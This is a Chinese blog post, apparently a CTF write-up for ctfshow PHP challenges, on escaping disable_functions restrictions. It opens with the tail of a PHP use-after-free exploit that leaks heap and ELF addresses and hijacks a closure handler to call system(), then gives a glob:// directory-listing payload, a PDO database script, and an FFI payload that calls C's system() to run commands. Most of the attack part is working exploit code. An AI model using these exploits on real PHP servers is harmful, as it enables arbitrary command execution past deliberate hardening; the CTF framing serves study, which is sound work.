    $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
    die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
    die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
    die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
    die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
    die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
    write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); 
write($abc, 0xd0 + 0x68, $zif_system); 

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush(); ?>

变式题plus,参考ctfshow web入门75


Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

尝试利用scandir进行目录扫描的时候发现被禁用了,只能拿glob伪协议进行目录扫描

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
	echo($f->__toString().' ')
}
exit(0);	

扫flag文件出来,尝试再用UAR脚本进行读取发现存在strlen()过滤

PHP的PDO连接MySQL数据库

PHP的PDO连接数据库知识点补充
PHP的PDO连接数据库后可以进行文件的读取
$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。
PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。
DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 ‘mysql:host=localhost;dbname=information_schema’。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。
foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。

参考大佬写的PDO连接脚本

<?php
$dbms='mysql';     //数据库类型
$host='localhost'; //数据库主机名
$dbName='test';    //使用的数据库
$user='root';      //数据库连接用户名
$pass='';          //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";


try {
    $dbh = new PDO($dsn, $user, $pass); //初始化一个PDO对象
    echo "连接成功<br/>";
    /*你还可以进行一次搜索操作
    foreach ($dbh->query('SELECT * from FOO') as $row) {
        print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
    }
    */
    $dbh = null;
} catch (PDOException $e) {
    die ("Error!: " . $e->getMessage() . "<br/>");
}
//默认这个不是长连接,如果需要数据库长连接,需要最后加一个参数:array(PDO::ATTR_PERSISTENT => true) 变成这样:
$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));

?>

变式题plus+,参考题目ctfshow web入门77

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

看似一样重复上述几个题的操作,发现都不成功

PHP7.4+的FFI特性

php7.4+ FFI特性知识点补充
php7.4+的FFI特性,加载C语言调用C语言的函数执行命令
PHP 7.4 引入了 FFI(Foreign Function Interface) 特性,它允许 PHP 与外部 C 库进行直接交互。通过 FFI,PHP 脚本可以加载 C 语言编写的共享库(如 .so.dll 文件),并调用这些 C 函数。这使得 PHP 能够高效地调用低级语言编写的函数,进而扩展 PHP 的功能,提升性能,甚至直接操作系统资源。

参考大佬的脚本

c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

这行代码使用了 PHP 的 FFI 特性,调用了 FFI::cdef() 方法来定义并加载 C 函数原型。

"int system(const char *command);" 是 C 语言中的函数原型,它告诉 PHP:

  • system 函数的返回类型是 int,即执行命令后的返回值。
  • system 函数的参数是一个 const char *command,即一个指向字符常量的指针,表示要执行的系统命令。

通过这个 FFI::cdef() 调用,PHP 加载了 C 标准库中的 system() 函数,使得 PHP 可以直接调用该函数并在其上执行系统命令。

文末附加内容

评论

  1. 置顶
    Windows Chrome
    1 年前
    2025-3-22 9:21:56

    喵喵喵

    • 博主
      明石同学oxk3
      Windows Edge
      1 年前
      2025-3-23 11:38:09

      抓学长(〃 ̄︶ ̄)人( ̄︶ ̄〃)

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇